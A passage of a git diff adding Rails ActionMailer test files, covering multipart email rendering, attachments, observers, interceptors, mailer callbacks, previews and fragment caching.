+  test "adding attachments after mail was called raises exception" do
+    class LateAttachmentMailer < ActionMailer::Base
+      def welcome
+        mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+        attachments["invoice.pdf"] = "This is test File content"
+      end
+    end
+
+    e = assert_raises(RuntimeError) { LateAttachmentMailer.welcome.message }
+    assert_match(/Can't add attachments after `mail` was called./, e.message)
+  end
+
+  test "adding inline attachments after mail was called raises exception" do
+    class LateInlineAttachmentMailer < ActionMailer::Base
+      def welcome
+        mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+        attachments.inline["invoice.pdf"] = "This is test File content"
+      end
+    end
+
+    e = assert_raises(RuntimeError) { LateInlineAttachmentMailer.welcome.message }
+    assert_match(/Can't add attachments after `mail` was called./, e.message)
+  end
+
+  test "adding inline attachments while rendering mail works" do
+    class LateInlineAttachmentMailer < ActionMailer::Base
+      def on_render
+        mail from: "welcome@example.com", to: "to@example.com"
+      end
+    end
+
+    mail = LateInlineAttachmentMailer.on_render
+    assert_nothing_raised { mail.message }
+
+    assert_equal ["image/jpeg; filename=controller_attachments.jpg",
+                  "image/jpeg; filename=attachments.jpg"], mail.attachments.inline.map { |a| a["Content-Type"].to_s }
+  end
+
+  test "accessing attachments works after mail was called" do
+    class LateAttachmentAccessorMailer < ActionMailer::Base
+      def welcome
+        attachments["invoice.pdf"] = "This is test File content"
+        mail body: "yay", from: "welcome@example.com", to: "to@example.com"
+
+        unless attachments.map(&:filename) == ["invoice.pdf"]
+          raise Minitest::Assertion, "Should allow access to attachments"
+        end
+      end
+    end
+
+    assert_nothing_raised { LateAttachmentAccessorMailer.welcome.message }
+  end
+
+  # Implicit multipart
+  test "implicit multipart" do
+    email = BaseMailer.implicit_multipart
+    assert_equal(2, email.parts.size)
+    assert_equal("multipart/alternative", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("TEXT Implicit Multipart", email.parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].mime_type)
+    assert_equal("HTML Implicit Multipart", email.parts[1].body.encoded)
+  end
+
+  test "implicit multipart with sort order" do
+    order = ["text/html", "text/plain"]
+    with_default BaseMailer, parts_order: order do
+      email = BaseMailer.implicit_multipart
+      assert_equal("text/html",  email.parts[0].mime_type)
+      assert_equal("text/plain", email.parts[1].mime_type)
+
+      email = BaseMailer.implicit_multipart(parts_order: order.reverse)
+      assert_equal("text/plain", email.parts[0].mime_type)
+      assert_equal("text/html",  email.parts[1].mime_type)
+    end
+  end
+
+  test "implicit multipart with attachments creates nested parts" do
+    email = BaseMailer.implicit_multipart(attachments: true)
+    assert_equal("application/pdf", email.parts[0].mime_type)
+    assert_equal("multipart/alternative", email.parts[1].mime_type)
+    assert_equal("text/plain", email.parts[1].parts[0].mime_type)
+    assert_equal("TEXT Implicit Multipart", email.parts[1].parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].parts[1].mime_type)
+    assert_equal("HTML Implicit Multipart", email.parts[1].parts[1].body.encoded)
+  end
+
+  test "implicit multipart with attachments and sort order" do
+    order = ["text/html", "text/plain"]
+    with_default BaseMailer, parts_order: order do
+      email = BaseMailer.implicit_multipart(attachments: true)
+      assert_equal("application/pdf", email.parts[0].mime_type)
+      assert_equal("multipart/alternative", email.parts[1].mime_type)
+      assert_equal("text/plain", email.parts[1].parts[1].mime_type)
+      assert_equal("text/html", email.parts[1].parts[0].mime_type)
+    end
+  end
+
+  test "implicit multipart with default locale" do
+    email = BaseMailer.implicit_with_locale
+    assert_equal(2, email.parts.size)
+    assert_equal("multipart/alternative", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("Implicit with locale TEXT", email.parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].mime_type)
+    assert_equal("Implicit with locale EN HTML", email.parts[1].body.encoded)
+  end
+
+  test "implicit multipart with other locale" do
+    swap I18n, locale: :pl do
+      email = BaseMailer.implicit_with_locale
+      assert_equal(2, email.parts.size)
+      assert_equal("multipart/alternative", email.mime_type)
+      assert_equal("text/plain", email.parts[0].mime_type)
+      assert_equal("Implicit with locale PL TEXT", email.parts[0].body.encoded)
+      assert_equal("text/html", email.parts[1].mime_type)
+      assert_equal("Implicit with locale EN HTML", email.parts[1].body.encoded)
+    end
+  end
+
+  test "implicit multipart with fallback locale" do
+    fallback_backend = Class.new(I18n::Backend::Simple) do
+      include I18n::Backend::Fallbacks
+    end
+
+    begin
+      backend = I18n.backend
+      I18n.backend = fallback_backend.new
+      I18n.fallbacks[:"de-AT"] = [:de]
+
+      swap I18n, locale: "de-AT" do
+        email = BaseMailer.implicit_with_locale
+        assert_equal(2, email.parts.size)
+        assert_equal("multipart/alternative", email.mime_type)
+        assert_equal("text/plain", email.parts[0].mime_type)
+        assert_equal("Implicit with locale DE-AT TEXT", email.parts[0].body.encoded)
+        assert_equal("text/html", email.parts[1].mime_type)
+        assert_equal("Implicit with locale DE HTML", email.parts[1].body.encoded)
+      end
+    ensure
+      I18n.backend = backend
+    end
+  end
+
+  test "implicit multipart with several view paths uses the first one with template" do
+    old = BaseMailer.view_paths
+    begin
+      BaseMailer.view_paths = [File.join(FIXTURE_LOAD_PATH, "another.path")] + old.dup
+      email = BaseMailer.welcome
+      assert_equal("Welcome from another path", email.body.encoded)
+    ensure
+      BaseMailer.view_paths = old
+    end
+  end
+
+  test "implicit multipart with inexistent templates uses the next view path" do
+    old = BaseMailer.view_paths
+    begin
+      BaseMailer.view_paths = [File.join(FIXTURE_LOAD_PATH, "unknown")] + old.dup
+      email = BaseMailer.welcome
+      assert_equal("Welcome", email.body.encoded)
+    ensure
+      BaseMailer.view_paths = old
+    end
+  end
+
+  # Explicit multipart
+  test "explicit multipart" do
+    email = BaseMailer.explicit_multipart
+    assert_equal(2, email.parts.size)
+    assert_equal("multipart/alternative", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("TEXT Explicit Multipart", email.parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].mime_type)
+    assert_equal("HTML Explicit Multipart", email.parts[1].body.encoded)
+  end
+
+  test "explicit multipart have a boundary" do
+    mail = BaseMailer.explicit_multipart
+    assert_not_nil(mail.content_type_parameters[:boundary])
+  end
+
+  test "explicit multipart with attachments creates nested parts" do
+    email = BaseMailer.explicit_multipart(attachments: true)
+    assert_equal("application/pdf", email.parts[0].mime_type)
+    assert_equal("multipart/alternative", email.parts[1].mime_type)
+    assert_equal("text/plain", email.parts[1].parts[0].mime_type)
+    assert_equal("TEXT Explicit Multipart", email.parts[1].parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].parts[1].mime_type)
+    assert_equal("HTML Explicit Multipart", email.parts[1].parts[1].body.encoded)
+  end
+
+  test "explicit multipart with templates" do
+    email = BaseMailer.explicit_multipart_templates
+    assert_equal(2, email.parts.size)
+    assert_equal("multipart/alternative", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("TEXT Explicit Multipart Templates", email.parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].mime_type)
+    assert_equal("HTML Explicit Multipart Templates", email.parts[1].body.encoded)
+  end
+
+  test "explicit multipart with format.any" do
+    email = BaseMailer.explicit_multipart_with_any
+    assert_equal(2, email.parts.size)
+    assert_equal("multipart/alternative", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("Format with any!", email.parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].mime_type)
+    assert_equal("Format with any!", email.parts[1].body.encoded)
+  end
+
+  test "explicit without specifying format with format.any" do
+    error = assert_raises(ArgumentError) do
+      BaseMailer.explicit_without_specifying_format_with_any.parts
+    end
+    assert_equal "You have to supply at least one format", error.message
+  end
+
+  test "explicit multipart with format(Hash)" do
+    email = BaseMailer.explicit_multipart_with_options(true)
+    email.ready_to_send!
+    assert_equal(2, email.parts.size)
+    assert_equal("multipart/alternative", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("base64", email.parts[0].content_transfer_encoding)
+    assert_equal("text/html", email.parts[1].mime_type)
+    assert_equal("7bit", email.parts[1].content_transfer_encoding)
+  end
+
+  test "explicit multipart with one part is rendered as body and options are merged" do
+    email = BaseMailer.explicit_multipart_with_options
+    assert_equal(0, email.parts.size)
+    assert_equal("text/plain", email.mime_type)
+    assert_equal("base64", email.content_transfer_encoding)
+  end
+
+  test "explicit multipart with one template has the expected format" do
+    email = BaseMailer.explicit_multipart_with_one_template
+    assert_equal(2, email.parts.size)
+    assert_equal("multipart/alternative", email.mime_type)
+    assert_equal("text/plain", email.parts[0].mime_type)
+    assert_equal("[:text]", email.parts[0].body.encoded)
+    assert_equal("text/html", email.parts[1].mime_type)
+    assert_equal("[:html]", email.parts[1].body.encoded)
+  end
+
+  test "explicit multipart with sort order" do
+    order = ["text/html", "text/plain"]
+    with_default BaseMailer, parts_order: order do
+      email = BaseMailer.explicit_multipart
+      assert_equal("text/html",  email.parts[0].mime_type)
+      assert_equal("text/plain", email.parts[1].mime_type)
+
+      email = BaseMailer.explicit_multipart(parts_order: order.reverse)
+      assert_equal("text/plain", email.parts[0].mime_type)
+      assert_equal("text/html",  email.parts[1].mime_type)
+    end
+  end
+
+  # Class level API with method missing
+  test "should respond to action methods" do
+    assert_respond_to BaseMailer, :welcome
+    assert_respond_to BaseMailer, :implicit_multipart
+    assert !BaseMailer.respond_to?(:mail)
+    assert !BaseMailer.respond_to?(:headers)
+  end
+
+  test "calling just the action should return the generated mail object" do
+    email = BaseMailer.welcome
+    assert_equal(0, BaseMailer.deliveries.length)
+    assert_equal("The first email on new API!", email.subject)
+  end
+
+  test "calling deliver on the action should deliver the mail object" do
+    assert_called(BaseMailer, :deliver_mail) do
+      mail = BaseMailer.welcome.deliver_now
+      assert_equal "The first email on new API!", mail.subject
+    end
+  end
+
+  test "calling deliver on the action should increment the deliveries collection if using the test mailer" do
+    BaseMailer.welcome.deliver_now
+    assert_equal(1, BaseMailer.deliveries.length)
+  end
+
+  test "calling deliver, ActionMailer should yield back to mail to let it call :do_delivery on itself" do
+    mail = Mail::Message.new
+    assert_called(mail, :do_delivery) do
+      assert_called(BaseMailer, :welcome, returns: mail) do
+        BaseMailer.welcome.deliver
+      end
+    end
+  end
+
+  # Rendering
+  test "you can specify a different template for implicit render" do
+    mail = BaseMailer.implicit_different_template("implicit_multipart").deliver_now
+    assert_equal("HTML Implicit Multipart", mail.html_part.body.decoded)
+    assert_equal("TEXT Implicit Multipart", mail.text_part.body.decoded)
+  end
+
+  test "should raise if missing template in implicit render" do
+    assert_raises ActionView::MissingTemplate do
+      BaseMailer.implicit_different_template("missing_template").deliver_now
+    end
+    assert_equal(0, BaseMailer.deliveries.length)
+  end
+
+  test "you can specify a different template for explicit render" do
+    mail = BaseMailer.explicit_different_template("explicit_multipart_templates").deliver_now
+    assert_equal("HTML Explicit Multipart Templates", mail.html_part.body.decoded)
+    assert_equal("TEXT Explicit Multipart Templates", mail.text_part.body.decoded)
+  end
+
+  test "you can specify a different layout" do
+    mail = BaseMailer.different_layout("different_layout").deliver_now
+    assert_equal("HTML -- HTML", mail.html_part.body.decoded)
+    assert_equal("PLAIN -- PLAIN", mail.text_part.body.decoded)
+  end
+
+  test "you can specify the template path for implicit lookup" do
+    mail = BaseMailer.welcome_from_another_path("another.path/base_mailer").deliver_now
+    assert_equal("Welcome from another path", mail.body.encoded)
+
+    mail = BaseMailer.welcome_from_another_path(["unknown/invalid", "another.path/base_mailer"]).deliver_now
+    assert_equal("Welcome from another path", mail.body.encoded)
+  end
+
+  test "assets tags should use ActionMailer's asset_host settings" do
+    ActionMailer::Base.config.asset_host = "http://global.com"
+    ActionMailer::Base.config.assets_dir = "global/"
+
+    mail = AssetMailer.welcome
+
+    assert_dom_equal(%{<img alt="Dummy" src="http://global.com/images/dummy.png" />}, mail.body.to_s.strip)
+  end
+
+  test "assets tags should use a Mailer's asset_host settings when available" do
+    ActionMailer::Base.config.asset_host = "http://global.com"
+    ActionMailer::Base.config.assets_dir = "global/"
+
+    TempAssetMailer = Class.new(AssetMailer) do
+      self.mailer_name = "asset_mailer"
+      self.asset_host = "http://local.com"
+    end
+
+    mail = TempAssetMailer.welcome
+
+    assert_dom_equal(%{<img alt="Dummy" src="http://local.com/images/dummy.png" />}, mail.body.to_s.strip)
+  end
+
+  test "the view is not rendered when mail was never called" do
+    mail = BaseMailer.without_mail_call
+    assert_equal("", mail.body.to_s.strip)
+    mail.deliver_now
+  end
+
+  test "the return value of mailer methods is not relevant" do
+    mail = BaseMailer.with_nil_as_return_value
+    assert_equal("Welcome", mail.body.to_s.strip)
+    mail.deliver_now
+  end
+
+  # Before and After hooks
+
+  class MyObserver
+    def self.delivered_email(mail)
+    end
+  end
+
+  class MySecondObserver
+    def self.delivered_email(mail)
+    end
+  end
+
+  test "you can register an observer to the mail object that gets informed on email delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_observer(MyObserver)
+      mail = BaseMailer.welcome
+      assert_called_with(MyObserver, :delivered_email, [mail]) do
+        mail.deliver_now
+      end
+    end
+  end
+
+  test "you can register an observer using its stringified name to the mail object that gets informed on email delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_observer("BaseTest::MyObserver")
+      mail = BaseMailer.welcome
+      assert_called_with(MyObserver, :delivered_email, [mail]) do
+        mail.deliver_now
+      end
+    end
+  end
+
+  test "you can register an observer using its symbolized underscored name to the mail object that gets informed on email delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_observer(:"base_test/my_observer")
+      mail = BaseMailer.welcome
+      assert_called_with(MyObserver, :delivered_email, [mail]) do
+        mail.deliver_now
+      end
+    end
+  end
+
+  test "you can register multiple observers to the mail object that both get informed on email delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_observers("BaseTest::MyObserver", MySecondObserver)
+      mail = BaseMailer.welcome
+      assert_called_with(MyObserver, :delivered_email, [mail]) do
+        assert_called_with(MySecondObserver, :delivered_email, [mail]) do
+          mail.deliver_now
+        end
+      end
+    end
+  end
+
+  class MyInterceptor
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
+  end
+
+  class MySecondInterceptor
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
+  end
+
+  test "you can register an interceptor to the mail object that gets passed the mail object before delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_interceptor(MyInterceptor)
+      mail = BaseMailer.welcome
+      assert_called_with(MyInterceptor, :delivering_email, [mail]) do
+        mail.deliver_now
+      end
+    end
+  end
+
+  test "you can register an interceptor using its stringified name to the mail object that gets passed the mail object before delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_interceptor("BaseTest::MyInterceptor")
+      mail = BaseMailer.welcome
+      assert_called_with(MyInterceptor, :delivering_email, [mail]) do
+        mail.deliver_now
+      end
+    end
+  end
+
+  test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_interceptor(:"base_test/my_interceptor")
+      mail = BaseMailer.welcome
+      assert_called_with(MyInterceptor, :delivering_email, [mail]) do
+        mail.deliver_now
+      end
+    end
+  end
+
+  test "you can register multiple interceptors to the mail object that both get passed the mail object before delivery" do
+    mail_side_effects do
+      ActionMailer::Base.register_interceptors("BaseTest::MyInterceptor", MySecondInterceptor)
+      mail = BaseMailer.welcome
+      assert_called_with(MyInterceptor, :delivering_email, [mail]) do
+        assert_called_with(MySecondInterceptor, :delivering_email, [mail]) do
+          mail.deliver_now
+        end
+      end
+    end
+  end
+
+  test "being able to put proc's into the defaults hash and they get evaluated on mail sending" do
+    mail1 = ProcMailer.welcome["X-Proc-Method"]
+    yesterday = 1.day.ago
+    Time.stub(:now, yesterday) do
+      mail2 = ProcMailer.welcome["X-Proc-Method"]
+      assert(mail1.to_s.to_i > mail2.to_s.to_i)
+    end
+  end
+
+  test "default values which have to_proc (e.g. symbols) should not be considered procs" do
+    assert(ProcMailer.welcome["x-has-to-proc"].to_s == "symbol")
+  end
+
+  test "we can call other defined methods on the class as needed" do
+    mail = ProcMailer.welcome
+    assert_equal("Thanks for signing up this afternoon", mail.subject)
+  end
+
+  test "modifying the mail message with a before_action" do
+    class BeforeActionMailer < ActionMailer::Base
+      before_action :add_special_header!
+
+      def welcome ; mail ; end
+
+      private
+        def add_special_header!
+          headers("X-Special-Header" => "Wow, so special")
+        end
+    end
+
+    assert_equal("Wow, so special", BeforeActionMailer.welcome["X-Special-Header"].to_s)
+  end
+
+  test "modifying the mail message with an after_action" do
+    class AfterActionMailer < ActionMailer::Base
+      after_action :add_special_header!
+
+      def welcome ; mail ; end
+
+      private
+        def add_special_header!
+          headers("X-Special-Header" => "Testing")
+        end
+    end
+
+    assert_equal("Testing", AfterActionMailer.welcome["X-Special-Header"].to_s)
+  end
+
+  test "adding an inline attachment using a before_action" do
+    class DefaultInlineAttachmentMailer < ActionMailer::Base
+      before_action :add_inline_attachment!
+
+      def welcome ; mail ; end
+
+      private
+        def add_inline_attachment!
+          attachments.inline["footer.jpg"] = "hey there"
+        end
+    end
+
+    mail = DefaultInlineAttachmentMailer.welcome
+    assert_equal("image/jpeg; filename=footer.jpg", mail.attachments.inline.first["Content-Type"].to_s)
+  end
+
+  test "action methods should be refreshed after defining new method" do
+    class FooMailer < ActionMailer::Base
+      # This triggers action_methods.
+      respond_to?(:foo)
+
+      def notify
+      end
+    end
+
+    assert_equal Set.new(["notify"]), FooMailer.action_methods
+  end
+
+  test "mailer can be anonymous" do
+    mailer = Class.new(ActionMailer::Base) do
+      def welcome
+        mail
+      end
+    end
+
+    assert_equal "anonymous", mailer.mailer_name
+
+    assert_equal "Welcome", mailer.welcome.subject
+    assert_equal "Anonymous mailer body", mailer.welcome.body.encoded.strip
+  end
+
+  test "default_from can be set" do
+    class DefaultFromMailer < ActionMailer::Base
+      default to: "system@test.lindsaar.net"
+      self.default_options = { from: "robert.pankowecki@gmail.com" }
+
+      def welcome
+        mail(subject: "subject", body: "hello world")
+      end
+    end
+
+    assert_equal ["robert.pankowecki@gmail.com"], DefaultFromMailer.welcome.from
+  end
+
+  test "mail() without arguments serves as getter for the current mail message" do
+    class MailerWithCallback < ActionMailer::Base
+      after_action :a_callback
+
+      def welcome
+        headers("X-Special-Header" => "special indeed!")
+        mail subject: "subject", body: "hello world", to: ["joe@example.com"]
+      end
+
+      def a_callback
+        mail.to << "jane@example.com"
+      end
+    end
+
+    mail = MailerWithCallback.welcome
+    assert_equal "subject", mail.subject
+    assert_equal ["joe@example.com", "jane@example.com"], mail.to
+    assert_equal "hello world", mail.body.encoded.strip
+    assert_equal "special indeed!", mail["X-Special-Header"].to_s
+  end
+
+  test "notification for process" do
+    begin
+      events = []
+      ActiveSupport::Notifications.subscribe("process.action_mailer") do |*args|
+        events << ActiveSupport::Notifications::Event.new(*args)
+      end
+
+      BaseMailer.welcome(body: "Hello there").deliver_now
+
+      assert_equal 1, events.length
+      assert_equal "process.action_mailer", events[0].name
+      assert_equal "BaseMailer", events[0].payload[:mailer]
+      assert_equal :welcome, events[0].payload[:action]
+      assert_equal [{ body: "Hello there" }], events[0].payload[:args]
+    ensure
+      ActiveSupport::Notifications.unsubscribe "process.action_mailer"
+    end
+  end
+
+  private
+
+    # Execute the block setting the given values and restoring old values after
+    # the block is executed.
+    def swap(klass, new_values)
+      old_values = {}
+      new_values.each do |key, value|
+        old_values[key] = klass.send key
+        klass.send :"#{key}=", value
+      end
+      yield
+    ensure
+      old_values.each do |key, value|
+        klass.send :"#{key}=", value
+      end
+    end
+
+    def with_default(klass, new_values)
+      old = klass.default_params
+      klass.default(new_values)
+      yield
+    ensure
+      klass.default_params = old
+    end
+
+    # A simple hack to restore the observers and interceptors for Mail, as it
+    # does not have an unregister API yet.
+    def mail_side_effects
+      old_observers = Mail.class_variable_get(:@@delivery_notification_observers)
+      old_delivery_interceptors = Mail.class_variable_get(:@@delivery_interceptors)
+      yield
+    ensure
+      Mail.class_variable_set(:@@delivery_notification_observers, old_observers)
+      Mail.class_variable_set(:@@delivery_interceptors, old_delivery_interceptors)
+    end
+
+    def with_translation(locale, data)
+      I18n.backend.store_translations(locale, data)
+      yield
+    ensure
+      I18n.backend.reload!
+    end
+end
+
+class BasePreviewInterceptorsTest < ActiveSupport::TestCase
+  teardown do
+    ActionMailer::Base.preview_interceptors.clear
+  end
+
+  class BaseMailerPreview < ActionMailer::Preview
+    def welcome
+      BaseMailer.welcome
+    end
+  end
+
+  class MyInterceptor
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
+  end
+
+  class MySecondInterceptor
+    def self.delivering_email(mail); end
+    def self.previewing_email(mail); end
+  end
+
+  test "you can register a preview interceptor to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor(MyInterceptor)
+    mail = BaseMailer.welcome
+    stub_any_instance(BaseMailerPreview) do |instance|
+      instance.stub(:welcome, mail) do
+        assert_called_with(MyInterceptor, :previewing_email, [mail]) do
+          BaseMailerPreview.call(:welcome)
+        end
+      end
+    end
+  end
+
+  test "you can register a preview interceptor using its stringified name to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor("BasePreviewInterceptorsTest::MyInterceptor")
+    mail = BaseMailer.welcome
+    stub_any_instance(BaseMailerPreview) do |instance|
+      instance.stub(:welcome, mail) do
+        assert_called_with(MyInterceptor, :previewing_email, [mail]) do
+          BaseMailerPreview.call(:welcome)
+        end
+      end
+    end
+  end
+
+  test "you can register an interceptor using its symbolized underscored name to the mail object that gets passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptor(:"base_preview_interceptors_test/my_interceptor")
+    mail = BaseMailer.welcome
+    stub_any_instance(BaseMailerPreview) do |instance|
+      instance.stub(:welcome, mail) do
+        assert_called_with(MyInterceptor, :previewing_email, [mail]) do
+          BaseMailerPreview.call(:welcome)
+        end
+      end
+    end
+  end
+
+  test "you can register multiple preview interceptors to the mail object that both get passed the mail object before previewing" do
+    ActionMailer::Base.register_preview_interceptors("BasePreviewInterceptorsTest::MyInterceptor", MySecondInterceptor)
+    mail = BaseMailer.welcome
+    stub_any_instance(BaseMailerPreview) do |instance|
+      instance.stub(:welcome, mail) do
+        assert_called_with(MyInterceptor, :previewing_email, [mail]) do
+          assert_called_with(MySecondInterceptor, :previewing_email, [mail]) do
+            BaseMailerPreview.call(:welcome)
+          end
+        end
+      end
+    end
+  end
+end
+
+class BasePreviewTest < ActiveSupport::TestCase
+  class BaseMailerPreview < ActionMailer::Preview
+    def welcome
+      BaseMailer.welcome(params)
+    end
+  end
+
+  test "has access to params" do
+    params = { name: "World" }
+
+    assert_called_with(BaseMailer, :welcome, [params]) do
+      BaseMailerPreview.call(:welcome, params)
+    end
+  end
+end
diff --git a/actionmailer/test/caching_test.rb b/actionmailer/test/caching_test.rb
new file mode 100644
index 0000000000..e11e8d4676
--- /dev/null
+++ b/actionmailer/test/caching_test.rb
@@ -0,0 +1,271 @@
+# frozen_string_literal: true
+
+require "fileutils"
+require "abstract_unit"
+require "mailers/base_mailer"
+require "mailers/caching_mailer"
+
+CACHE_DIR = "test_cache"
+# Don't change '/../temp/' cavalierly or you might hose something you don't want hosed
+FILE_STORE_PATH = File.join(__dir__, "/../temp/", CACHE_DIR)
+
+class FragmentCachingMailer < ActionMailer::Base
+  abstract!
+
+  def some_action; end
+end
+
+class BaseCachingTest < ActiveSupport::TestCase
+  def setup
+    super
+    @store = ActiveSupport::Cache::MemoryStore.new
+    @mailer = FragmentCachingMailer.new
+    @mailer.perform_caching = true
+    @mailer.cache_store = @store
+  end
+end
+
+class FragmentCachingTest < BaseCachingTest
+  def test_read_fragment_with_caching_enabled
+    @store.write("views/name", "value")
+    assert_equal "value", @mailer.read_fragment("name")
+  end
+
+  def test_read_fragment_with_caching_disabled
+    @mailer.perform_caching = false
+    @store.write("views/name", "value")
+    assert_nil @mailer.read_fragment("name")
+  end
+
+  def test_fragment_exist_with_caching_enabled
+    @store.write("views/name", "value")
+    assert @mailer.fragment_exist?("name")
+    assert !@mailer.fragment_exist?("other_name")
+  end
+
+  def test_fragment_exist_with_caching_disabled
+    @mailer.perform_caching = false
+    @store.write("views/name", "value")
+    assert !@mailer.fragment_exist?("name")
+    assert !@mailer.fragment_exist?("other_name")
+  end
+
+  def test_write_fragment_with_caching_enabled
+    assert_nil @store.read("views/name")
+    assert_equal "value", @mailer.write_fragment("name", "value")
+    assert_equal "value", @store.read("views/name")
+  end
+
+  def test_write_fragment_with_caching_disabled
+    assert_nil @store.read("views/name")
+    @mailer.perform_caching = false
+    assert_equal "value", @mailer.write_fragment("name", "value")
+    assert_nil @store.read("views/name")
+  end
+
+  def test_expire_fragment_with_simple_key
+    @store.write("views/name", "value")
+    @mailer.expire_fragment "name"
+    assert_nil @store.read("views/name")
+  end
+
+  def test_expire_fragment_with_regexp
+    @store.write("views/name", "value")
+    @store.write("views/another_name", "another_value")
+    @store.write("views/primalgrasp", "will not expire ;-)")
+
+    @mailer.expire_fragment(/name/)
+
+    assert_nil @store.read("views/name")
+    assert_nil @store.read("views/another_name")
+    assert_equal "will not expire ;-)", @store.read("views/primalgrasp")
+  end
+
+  def test_fragment_for
+    @store.write("views/expensive", "fragment content")
+    fragment_computed = false
+
+    view_context = @mailer.view_context
+
+    buffer = "generated till now -> ".html_safe
+    buffer << view_context.send(:fragment_for, "expensive") { fragment_computed = true }
+
+    assert !fragment_computed
+    assert_equal "generated till now -> fragment content", buffer
+  end
+
+  def test_html_safety
+    assert_nil @store.read("views/name")
+    content = "value".html_safe
+    assert_equal content, @mailer.write_fragment("name", content)
+
+    cached = @store.read("views/name")
+    assert_equal content, cached
+    assert_equal String, cached.class
+
+    html_safe = @mailer.read_fragment("name")
+    assert_equal content, html_safe
+    assert html_safe.html_safe?
+  end
+end
+
+class FunctionalFragmentCachingTest < BaseCachingTest
+  def setup
+    super
+    @store = ActiveSupport::Cache::MemoryStore.new
+    @mailer = CachingMailer.new
+    @mailer.perform_caching = true
+    @mailer.cache_store = @store
+  end
+
+  def test_fragment_caching
+    email = @mailer.fragment_cache
+    expected_body = "\"Welcome\""
+
+    assert_match expected_body, email.body.encoded
+    assert_match expected_body,
+      @store.read("views/caching_mailer/fragment_cache:#{template_digest("caching_mailer/fragment_cache")}/caching")
+  end
+
+  def test_fragment_caching_in_partials
+    email = @mailer.fragment_cache_in_partials
+    expected_body = "Old fragment caching in a partial"
+    assert_match(expected_body, email.body.encoded)
+
+    assert_match(expected_body,
+      @store.read("views/caching_mailer/_partial:#{template_digest("caching_mailer/_partial")}/caching"))
+  end
+
+  def test_skip_fragment_cache_digesting
+    email = @mailer.skip_fragment_cache_digesting
+    expected_body = "No Digest"
+
+    assert_match expected_body, email.body.encoded
+    assert_match expected_body, @store.read("views/no_digest")
+  end
+
+  def test_fragment_caching_options
+    time = Time.now
+    email = @mailer.fragment_caching_options
+    expected_body = "No Digest"
+
+    assert_match expected_body, email.body.encoded
+    Time.stub(:now, time + 11) do
+      assert_nil @store.read("views/no_digest")
+    end
+  end
+
+  def test_multipart_fragment_caching
+    email = @mailer.multipart_cache
+
+    expected_text_body = "\"Welcome text\""
+    expected_html_body = "\"Welcome html\""
+    encoded_body = email.body.encoded
+    assert_match expected_text_body, encoded_body
+    assert_match expected_html_body, encoded_body
+    assert_match expected_text_body,
+                 @store.read("views/text_caching")
+    assert_match expected_html_body,
+                 @store.read("views/html_caching")
+  end
+
+  def test_fragment_cache_instrumentation
+    @mailer.enable_fragment_cache_logging = true
+    payload = nil
+
+    subscriber = proc do |*args|
+      event = ActiveSupport::Notifications::Event.new(*args)
+      payload = event.payload
+    end
+
+    ActiveSupport::Notifications.subscribed(subscriber, "read_fragment.action_mailer") do
+      @mailer.fragment_cache
+    end
+
+    assert_equal "caching_mailer", payload[:mailer]
+    assert_equal [ :views, "caching_mailer/fragment_cache:#{template_digest("caching_mailer/fragment_cache")}", :caching ], payload[:key]
+  ensure
+    @mailer.enable_fragment_cache_logging = true
+  end
+
+  private
+
+    def template_digest(name)
+      ActionView::Digestor.digest(name: name, finder: @mailer.lookup_context)
+    end
+end
+
+class CacheHelperOutputBufferTest < BaseCachingTest
+  class MockController
+    def read_fragment(name, options)
+      return false
+    end
+
+    def write_fragment(name, fragment, options)
+      fragment
+    end
+  end
+
+  def setup
+    super
+  end
+
+  def test_output_buffer
+    output_buffer = ActionView::OutputBuffer.new
+    controller = MockController.new
+    cache_helper = Class.new do
+      def self.controller; end;
+      def self.output_buffer; end;
+      def self.output_buffer=; end;
+    end
+    cache_helper.extend(ActionView::Helpers::CacheHelper)
+
+    cache_helper.stub :controller, controller do
+      cache_helper.stub :output_buffer, output_buffer do
+        assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do
+          assert_nothing_raised do
+            cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
+          end
+        end
+      end
+    end
+  end
+
+  def test_safe_buffer
+    output_buffer = ActiveSupport::SafeBuffer.new
+    controller = MockController.new
+    cache_helper = Class.new do
+      def self.controller; end;
+      def self.output_buffer; end;
+      def self.output_buffer=; end;
+    end
+    cache_helper.extend(ActionView::Helpers::CacheHelper)
+
+    cache_helper.stub :controller, controller do
+      cache_helper.stub :output_buffer, output_buffer do
+        assert_called_with cache_helper, :output_buffer=, [output_buffer.class.new(output_buffer)] do
+          assert_nothing_raised do
+            cache_helper.send :fragment_for, "Test fragment name", "Test fragment", &Proc.new { nil }
+          end
+        end
+      end
+    end
+  end
+end
+
+class ViewCacheDependencyTest < BaseCachingTest
+  class NoDependenciesMailer < ActionMailer::Base
+  end
+  class HasDependenciesMailer < ActionMailer::Base
+    view_cache_dependency { "trombone" }
